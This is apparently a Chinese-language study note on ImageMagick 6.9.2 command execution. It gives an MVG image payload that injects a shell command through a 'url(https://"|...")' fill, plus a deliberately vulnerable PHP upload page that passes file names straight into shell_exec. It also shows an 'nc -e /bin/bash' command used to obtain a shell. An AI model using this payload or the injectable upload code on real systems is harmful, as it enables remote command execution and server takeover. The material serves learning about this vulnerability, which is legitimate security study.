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技术 2022年11月7日
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实验版本: ImageMagick版本:6.9.2

push graphic-contextviewbox 0 0 640 480fill 'url(https://"|whoami")'pop graphic-context"

把上面代码保存写入到图片里,再使用ImageMagick命令convert对图片进行操作时会触发命令执行。

如上面代码保存为1.jpg,执行convert 1.jpg -resize 100 2.jpg

ImageMagick命令执行学习笔记(常见于图片预览处)

下面看搭建环境代码

简单实现图片上传预览的代码:

<html>    <body>        <form action='' method='post' enctype='multipart/form-data'>            <input type='file' name='file'>            <input type='submit' value='submit'>        </form>    </body></html><?php    $photo = '/var/www/html/'.$_FILES['file']['name'];    $photo1 = '/var/www/html/'.'1.jpg';   move_uploaded_file($_FILES['file']['tmp_name'],$photo);    $imageMagick = 'convert '.$photo.' -resize 210 '.$photo1;    shell_exec($imageMagick);    echo '<img src=http://127.0.0.1/'.'1.jpg>';?>

ImageMagick命令执行学习笔记(常见于图片预览处)

上传1.jpg,并把命令改 nc -lvp 4444 -e /bin/bash

可以看到客户端

ImageMagick命令执行学习笔记(常见于图片预览处)

ImageMagick命令执行学习笔记(常见于图片预览处)

反弹shell成功

<img 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" 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